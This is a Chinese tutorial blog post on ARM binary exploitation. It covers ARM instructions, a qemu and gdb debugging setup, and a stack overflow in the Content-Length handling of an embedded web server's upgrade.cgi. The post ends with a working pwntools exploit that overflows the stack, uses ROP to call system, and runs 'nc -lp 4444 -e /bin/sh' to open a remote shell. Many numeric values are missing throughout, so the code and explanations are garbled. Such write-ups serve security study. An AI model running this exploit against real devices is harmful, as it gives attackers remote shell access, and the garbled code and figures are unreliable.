本文首发于“合天智汇”公众号 作者:s0xzOrln
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
刚刚开始学习ARM pwn,下面如有错误,希望各位大佬多多包han,多多包涵。
先介绍下 Arm的一些常见指令
那就先来
Arm 三操作数指令
LDRB   R0, [R1, #-] # 把R1-1的地址的值给R0
立即数前面加个 `#`
看看函数开始时
PUSH            {R4,R5,R7,LR}
STMFD SP!, {R4-R11,LR}
这两条指令都常见在函数的开始
都是 压入栈中
Arm指令中的 - 感觉蛮简洁的,可以省略很多步骤和指令。
{R0-R4} 就是指 R0 R1 R2 R3 R4 寄存器
Arm LDR 指令
ldr指令的格式:
LDR R0, [R1]
LDR R0, =NAME
LDR R0, =0X123
对于第一种没有等号的情况,R1寄存器对应地址的数据被取出放入R0
对于第二种有等号的情况,R0寄存器的值将为NAME标号对应的地址。
对于第三种有等号的情况,R0寄存器的值将为立即数的值
LDM 和 STM是多数据传送指令,用来装载和存储多个字的数据从/到内存。比如:
STMFD   SP!, {R4-R11,LR} 的伪代码如下
SP = SP - ×;
address = SP;
for i = to
Memory[address] = Ri;
address = address + ;
Memory[address] = LR;
总的来说就是 把{R4-R11}压到栈中,然后再把LR压到栈中 指令格式是:
xxM{条件}{类型} Rn{!}, <寄存器列表>{^}
‘xx’是 LD 表示装载,或 ST 表示存储。 再加 种‘类型’就变成了 个指令: 栈 其他
LDMED LDMIB 预先增加装载
LDMFD LDMIA 过后增加装载
LDMEA LDMDB 预先减少装载
LDMFA LDMDA 过后减少装载 STMFA STMIB 预先增加存储
STMEA STMIA 过后增加存储
STMFD STMDB 预先减少存储
STMED STMDA 过后减少存储
寄存器命名:
在常见的程序中 前面的命名一般都是以R*,一些比较特殊的寄存器,就命令,比如 LR SP 在IDA里面都是显示APCS。
STR(存储) 和 LDR(装载) 是来存储 和 装载单一字节或字的数据从/到内存
LDR{条件} Rd, <地址>
STR{条件} Rd, <地址>
在STR 、LDR、 MOV后面加上EQ 代表的是 32位 ldr = Load Word
ldrh = Load unsigned Half Word
ldrsh = Load signed Half Word
ldrb = Load unsigned Byte
ldrsb = Load signed Bytes str = Store Word
strh = Store unsigned Half Word
strsh = Store signed Half Word
strb = Store unsigned Byte
strsb = Store signed Byte

Arm 跳转

B address  #就像是jmp
BL #后面加分支 # 相当于call
BL strncpy
BEQ #不等于 想到于 jne
BCC #进位清除,应该就是 cmp后,进位为0就跳 感觉就像是 <
BGT # 大于
BLT #小于
BCS #进位设置,应该就是cmp后,有进位 感觉就像是 >=
BLX #实现跳转的同时切换ARM的状态ARM->Thunb或者Thunb->ARM
BX #可以跳转到ARM指令或者Thumb指令

Arm 程序状态寄存器处理指令

MRS:用于将程序状态寄存器的内容送到通用寄存器
MSR:将操作数的内容送到程序状态寄存器的特定域

Arm 比较指令

CMP 这个跟 x86的差不多,不改变寄存器的值,更新CPSR标志寄存器
TST 感觉跟test 有点像 都是不影响目的寄存器的值,改变状态寄存器
Arm 标志位
做题,了解这些指令就差不多了
环境搭建
可以用qemu-arm加 gdb-multiarch , gdb-multiarch 加gdbserver或者直接arm_now (后面这个。我安装了还是不太会用。逃····
第一种
这种我没具体的调试过,之前就用了一次,感觉没第二种舒服
sudo apt-get install git gdb gdb-multiarch
apt search "libc6-" | grep "arm"
sudo apt-get install -y gcc-arm-linux-gnueabi qemu-arm -g port -L /usr/arm-linux-gnueabi ./pwn
这是运行程序,-L是依赖库
然后用gdb-multiarch
targe remote 上去
第二种
首先先下载 arm-debian的qemu镜像
#这些都是在本机进行操作
sudo tunctl -t tap0 -u `whoami` #这边新建一张网卡和虚拟机进行通信
sudo ifconfig tap0 192.168.2.1/ #给网卡配置ip
#这个配置要在一个段上面,这个是为了后面方便传文件进qemu虚拟机里面
#然后
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.--versatile -initrd initrd.img-3.2.--versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic #启动虚拟机镜像
#如果下载的是armel 就上面的,gdbserver也要用对应的armel
#如果下载的是armhf 就对应改下几个就可以 #具体参数 可以 sudo qemu-system-arm -h 查看
#然后最后把simpleHTTPServer起来就OK
#在想传文件的目录运行
python -m SimpleHTTPServer#默认起8000端口,反正这端口一般也没用,懒得改默认了 #然后进入虚拟机
#密码账号都是root
#进去之后 如果是固件的话一般都是能把整个环境弄到,那就用chroot起,这样方便,chroot起的,
#要把proc和dev挂载到chroot起了之后的根目录
sudo mount -o bind /dev ./squashfs-root/dev
sudo mount -t proc /proc ./squashfs-root/proc
#然后也配置网卡地址
ifconfig eth0 192.168.2.2/
#然后用
wget http://x.x.x.x:8000/filename
#把文件给拷进来,调试程序,gdbserver都是需要拷进来
#gdbserver 下载链接
#https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt
#chroot
chroot . sh
#用gdbsever起环境
#gdb-multiarch attach上去就能调试了

其他:

qemu-arm-static 可以运行静态编译的可执行程序
sudo apt install qemu-user-static
这个可以用来调试静态编译的文件

实例调试分析

就只开了 nx
漏洞所在的函数
int __fastcall sub_17F80(char *a1)
{
char *v1; // r4
char *v2; // r0
int v3; // r3
char *v4; // r5
unsigned int v5; // r9
unsigned __int8 *v6; // r8
char *v7; // r3
int v8; // r6
int v9; // t1
int v10; // r10
int v11; // r2
int v12; // r2
unsigned __int8 *v13; // r0
bool v14; // zf
int v15; // r2
int v16; // t1
bool v17; // zf
char *v18; // ST14_4
int v19; // r0
int v20; // r2
int v21; // r1
ssize_t v22; // r5
int v23; // r2
char *v24; // r0
const char *v25; // r6
char *v26; // r0
int result; // r0
int v28; // r6
FILE *v29; // r0
int v30; // r6
FILE *v31; // r0
const char *v32; // r1
int v33; // r2
int v34; // r3
char *v35; // r7
char *v36; // r6
char *v37; // r0
int v38; // r7
int v39; // r0
int v40; // r2
unsigned int v41; // r3
char *haystack; // [sp+Ch] [bp-44h]
char dest[]; // [sp+18h] [bp-38h]
int v44; // [sp+1Ch] [bp-34h]
int v45; // [sp+20h] [bp-30h]
int v46; // [sp+24h] [bp-2Ch] v1 = a1;
haystack = a1 + ;
v2 = strncpy(a1 + , a1 + , 0x1FFFu);
v3 = *((_DWORD *)v1 + );
v4 = &v1[*((_DWORD *)v1 + ) + ];
v5 = (unsigned int)&haystack[v3];
if ( dword_34864 & 0x10 && (unsigned int)v4 < v5 )
{
haystack[v3] = ;
sub_16534(v2);
fprintf((FILE *)stderr, "%s:%d - Parsing headers (\"%s\")\n", "src/read.c", , v4);
}
v6 = (unsigned __int8 *)(v4 - );
v7 = v4;
if ( (unsigned int)v4 >= v5 )
{
LABEL_26:
if ( *(_DWORD *)v1 > 3u )
return ;
v21 = *((_DWORD *)v1 + );
if ( (unsigned int)(0x1FFF - v21) >= 0x2000 )
{
sub_1627C(v1);
fwrite("No space left in client stream buffer, closing\n", 1u, 0x2Fu, (FILE *)stderr);
result = ;
*((_DWORD *)v1 + ) = ;
*(_DWORD *)v1 = ;
return result;
}
v22 = read(*((_DWORD *)v1 + ), &haystack[v21], 0x2000 - v21);
if ( !strncmp(haystack, "POST", 4u) || (v26 = (char *)strncmp(haystack, "PUT", 3u)) == )
{
v23 = (unsigned __int8)v1[];
*(_DWORD *)dest = ;
v44 = ;
v45 = ;
v46 = ;
if ( v23 )
{
v35 = strstr(haystack, "Content-Length");
v36 = strchr(v35, '\n');
v37 = strchr(v35, ':');
strncpy(dest, v37 + , v36 - (v37 + )); // 这里复制有bug
}
v24 = strstr(haystack, "\r\n\r\n");
if ( v24 && (v25 = v24 + , (signed int)(v24 + ) <= (signed int)&haystack[*((_DWORD *)v1 + ) - + v22]) )
{
v26 = strstr(haystack, "upgrade.cgi");
if ( !v26 || (v26 = strstr(v25, "\r\n\r\n")) != )
{
*((_DWORD *)v1 + ) = -;
goto LABEL_36;
}
v30 = (int)(v1 + );
++*((_DWORD *)v1 + );
v31 = (FILE *)stderr;
v32 = "req->iCount++(2)= %d\n";
}
else
{
v30 = (int)(v1 + );
v31 = (FILE *)stderr;
v32 = "req->iCount++= %d\n";
++*((_DWORD *)v1 + );
}
fprintf(v31, v32);
v33 = *(_DWORD *)(v30 + );
v26 = (char *)( * v33);
*(_DWORD *)(v30 + ) = v33 % ;
}
LABEL_36:
if ( v22 < )
{
v34 = *_errno_location();
if ( v34 != )
{
if ( v34 == )
return -;
sub_1627C(v1);
perror("header read");
*((_DWORD *)v1 + ) = ;
return ;
}
}
else
{
if ( !v22 )
{
if ( *((_DWORD *)v1 + ) >= (unsigned int)dword_37E6C || *((_DWORD *)v1 + ) || *((_DWORD *)v1 + ) )
{
sub_1627C(v1);
fwrite("client unexpectedly closed connection.\n", 1u, 0x27u, (FILE *)stderr);
}
*((_DWORD *)v1 + ) = ;
return ;
}
v14 = (dword_34864 & 0x10) == ;
*((_DWORD *)v1 + ) += v22;
if ( !v14 )
{
sub_16534(v26);
v29 = (FILE *)stderr;
v1[*((_DWORD *)v1 + ) + ] = ;
fprintf(v29, "%s:%d -- We read %d bytes: \"%s\"\n", "src/read.c", , v22, "");
}
}
return ;
}
while ( )
{
if ( *((_DWORD *)v1 + ) > )
goto LABEL_26;
v9 = (unsigned __int8)*v4++;
v8 = v9;
v10 = v9 - ;
if ( v9 != )
v10 = ;
if ( v8 == )
v11 = v10 & ;
else
v11 = ;
if ( v11 )
{
v12 = *v6;
v13 = v6;
v14 = v12 == ;
if ( *v6 )
v14 = v12 == ;
if ( !v14 )
{
do
{
v16 = *(v13-- - );
v15 = v16;
v17 = v16 == ;
if ( v16 )
v17 = v15 == ;
}
while ( !v17 );
}
v18 = v7;
v19 = strncmp((const char *)v13 + , "User-Agent:", 0xBu);
v7 = v18;
if ( v19 )
{
sub_1627C(v1);
fprintf((FILE *)stderr, "Illegal character (%d) in stream.\n", );
sub_1BC48(v1);
return ;
}
}
v20 = *(_DWORD *)v1;
switch ( *(_DWORD *)v1 )
{
case :
if ( v8 == )
{
*((_DWORD *)v1 + ) = v7;
*(_DWORD *)v1 = ;
goto LABEL_24;
}
if ( v8 != )
goto LABEL_24;
*((_DWORD *)v1 + ) = v7;
*(_DWORD *)v1 = ;
goto LABEL_52;
case :
if ( v8 != )
goto LABEL_22;
*(_DWORD *)v1 = ;
LABEL_52:
++*((_DWORD *)v1 + );
goto LABEL_53;
case :
if ( v8 == )
{
*(_DWORD *)v1 = ;
goto LABEL_24;
}
if ( v8 != )
{
LABEL_23:
*(_DWORD *)v1 = ;
LABEL_24:
++*((_DWORD *)v1 + );
LABEL_25:
++v6;
v7 = v4;
if ( (unsigned int)v4 >= v5 )
goto LABEL_26;
continue;
}
LABEL_45:
++*((_DWORD *)v1 + );
*(_DWORD *)v1 = ;
LABEL_46:
v28 = sub_1A4F4(v1);
if ( !v28 )
return ;
if ( (unsigned int)(*((_DWORD *)v1 + ) - ) > )
return v28;
v38 = *((_DWORD *)v1 + );
*((_DWORD *)v1 + ) = &v1[*((_DWORD *)v1 + ) + ];
*((_DWORD *)v1 + ) = v4;
*(_DWORD *)v1 = ;
if ( !v38 )
{
sub_1627C(v1);
fwrite("Unknown Content-Length POST!\n", 1u, 0x1Du, (FILE *)stderr);
sub_1BC48(v1);
return ;
}
v39 = sub_216EC(v38);
if ( v39 < )
{
sub_1627C(v1);
fprintf((FILE *)stderr, "Invalid Content-Length [%s] on POST!\n", *((_DWORD *)v1 + ));
sub_1BC48(v1);
return ;
}
v40 = *((_DWORD *)v1 + );
v41 = *((_DWORD *)v1 + ) - v40;
*((_DWORD *)v1 + ) = v39;
*((_DWORD *)v1 + ) = ;
if ( v39 >= v41 )
return v28;
*((_DWORD *)v1 + ) = v40 + v39;
return v28;
case :
if ( v8 == )
goto LABEL_45;
LABEL_22:
if ( v10 )
goto LABEL_23;
goto LABEL_24;
default:
++*((_DWORD *)v1 + );
if ( v20 == )
{
LABEL_53:
**((_BYTE **)v1 + ) = ;
if ( *((_DWORD *)v1 + ) - *((_DWORD *)v1 + ) > )
{
sub_1627C(v1);
fprintf(
(FILE *)stderr,
"Header too long at %lu bytes: \"%s\"\n",
*((_DWORD *)v1 + ) - *((_DWORD *)v1 + ));
sub_1BC48(v1);
return ;
}
if ( *((_DWORD *)v1 + ) )
{
if ( !sub_1A878(v1) )
return ;
}
else
{
if ( !sub_19FF0(v1) )
return ;
if ( *((_DWORD *)v1 + ) == )
return sub_1A4F4(v1);
}
*((_DWORD *)v1 + ) = v4;
}
else if ( v20 == )
{
goto LABEL_46;
}
goto LABEL_25;
}
}
}

上面看到 strcpy存在bug,就是长度时按照输入来计算的,这时只要控制好,就能实现栈溢出。

先看看前面的的指令有没分析正确
能看出那些寄存器是用来做参数的 r0 r1 r2 ,然后依次往后
r3 是栈顶指针,lr是保存着返回地址,pc就是当前指令的下一条,cpsr 程序状态寄存器
看看程序开头和结尾
开头
结尾
 
R4-R11,LR都是放进栈里,如果发生了栈溢出,那岂不是能基本控制大多数的参数了,前面4个没有控制,我估摸着是用来做 传参用的。
这道题还是把aslr关了。
看到上图就清楚,此时的栈已经被控制了,执行为箭头所指向的,那r4-r11,LR都给控制了。
关了aslr就是直接执行system了,但是得控制参数,这个就直接用ROPgadgets就OK了
直接控制R0就ok
exp:
from pwn import *

context.log_level ='debug'

p = remote("192.168.2.2",)
system_addr = 0x76f74ab0 order_commad = "nc -lp 4444 -e /bin/sh;pwd;pwd;"
pre = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = "a"*+p32(0x00048784+0x76f2d000)+p32(0x7effeb68)+p32(0x00016aa4+0x76f2d000)+'a'*+p32(system_addr)
payload = pre+payload+order_commad+"\n\r\n\r\n" p.sendline(payload)
p.interactive()

参考链接:

相关实验:
ARM漏洞利用技术一--编写arm shellcode
(通过该实验了解arm环境下编写shellcode的基本过程,以execve()为例,详细介绍了相关步骤,包括系统调用、系统调用后、函数参数、去除空字符、转换进制等。)

Arm pwn学习的更多相关文章

  1. ARM指令学习,王明学learn

    ARM指令学习 一.算数和逻辑指令 1— MOV 数据传送指令    2.— MVN 数据取反传送指令    3.— CMP 比较指令    4.— CMN 反值比较指令    5.— TST 位测试 ...

  2. ARM寄存器学习,王明学learn

    ARM寄存器学习 ARM微处理器共有37个32位寄存器,其中31个为通用寄存器,6个为状态寄存器.但是这些寄存器不能被同时访问,具体哪些寄存器是可以访问的,取决ARM处理器的工作状态及具体的运行模式. ...

  3. 痞子衡嵌入式:史上最强ARM Cortex-M学习资源汇总(持续更新中...)

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是ARM Cortex-M学习资源. 类别 资源 版本 短评 官方汇总 cortex-m-resources / ARM公司专家Josep ...

  4. arm汇编学习(三)

    一.ndk编译android上运行的c程序 新建个hello目录,底下要有jni目录,下面就是Android.mk文件 1.Android.mk文件内容如下: LOCAL_PATH:= $(call ...

  5. android ARM 汇编学习 —— hello world

    android ARM 汇编学习—— 在 android 设备上编译c/cpp代码并用objdump/readelf等工具分析 adb putty 连上手机,用busybox vi 写一个 hello ...

  6. PWN学习之格式化字符串漏洞

    目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...

  7. PWN学习之整数溢出

    目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...

  8. PWN学习之栈溢出

    目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...

  9. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

随机推荐

  1. Python之进程、线程、协程篇

    本节内容 操作系统发展史介绍 进程.与线程区别 python GIL全局解释器锁 线程 语法 join 线程锁之Lock\Rlock\信号量 将线程变为守护进程 Event事件 queue队列 生产者 ...

  2. Python之协程、异步IO、redis缓存、rabbitMQ队列

    本节内容 Gevent协程 Select\Poll\Epoll异步IO与事件驱动 Python连接Mysql数据库操作 RabbitMQ队列 Redis\Memcached缓存 Paramiko SS ...

  3. python之将一个字符串str的内容倒叙过来,并输出。

    inStr = input() flashback = inStr[::-1] print(flashback)

  4. [C++面向对象]-C++成员函数和非成员函数

    大纲: 1.成员函数和非成员函数 2.详细解释 3.总结 4.参考   1.成员函数和非成员函数   其实简单来说成员函数是在类中定义的函数,而非成员函数就是普通函数,即不在类中定义的函数,其中非成员 ...

  5. Web优化躬行记(1)——CSS

    Web优化的对象包括页面性能.用户体验.开发效率.代码优化.网络延迟等,本系列会列举出众多常用的优化技巧,每个技巧都可深入分析,在此只做抛砖引玉. 本系列优化内容提炼于<前端面试宝典>.& ...

  6. 题解 洛谷 P5331 【[SNOI2019]通信】

    考虑用费用流解决本题. 每个哨站看作一个点,并将其拆为两个点,建图方式为: \(S \longrightarrow x_i\) 容量为\(1\),费用为\(0\) \(x_i \longrightar ...

  7. shell脚本带参数启动项目

    用maven工程打包时,会将数据库连接一并打进去,如果需要经常修改数据库连接,则需要打开jar包然后修改配置,这样很麻烦耗时并且容易出错. 因此需要将数据库配置放入项目外,这样修改数据库时去固定的配置 ...

  8. nginx访问日志分析,筛选时间大于1秒的请求

    处理nginx访问日志,筛选时间大于1秒的请求   #!/usr/bin/env python ''' 处理访问日志,筛选时间大于1秒的请求 ''' with open('test.log','a+' ...

  9. js控制语句练习(回顾)

    1.一个小球从100米空中落下,每次反弹一半高度,小球总共经过多少米,请问第10次反弹的高度是多少? //定义初始下落过程高度 var sum1= 0; //定义初始上升高度 var sum2= 0; ...

  10. Java 匿名对象、内部类

    一.匿名对象 1.概念 匿名对象是指创建对象时,只有创建对象的语句,却没有把对象地址值赋值给某个变量. public class Person{ public void eat(){ System.o ...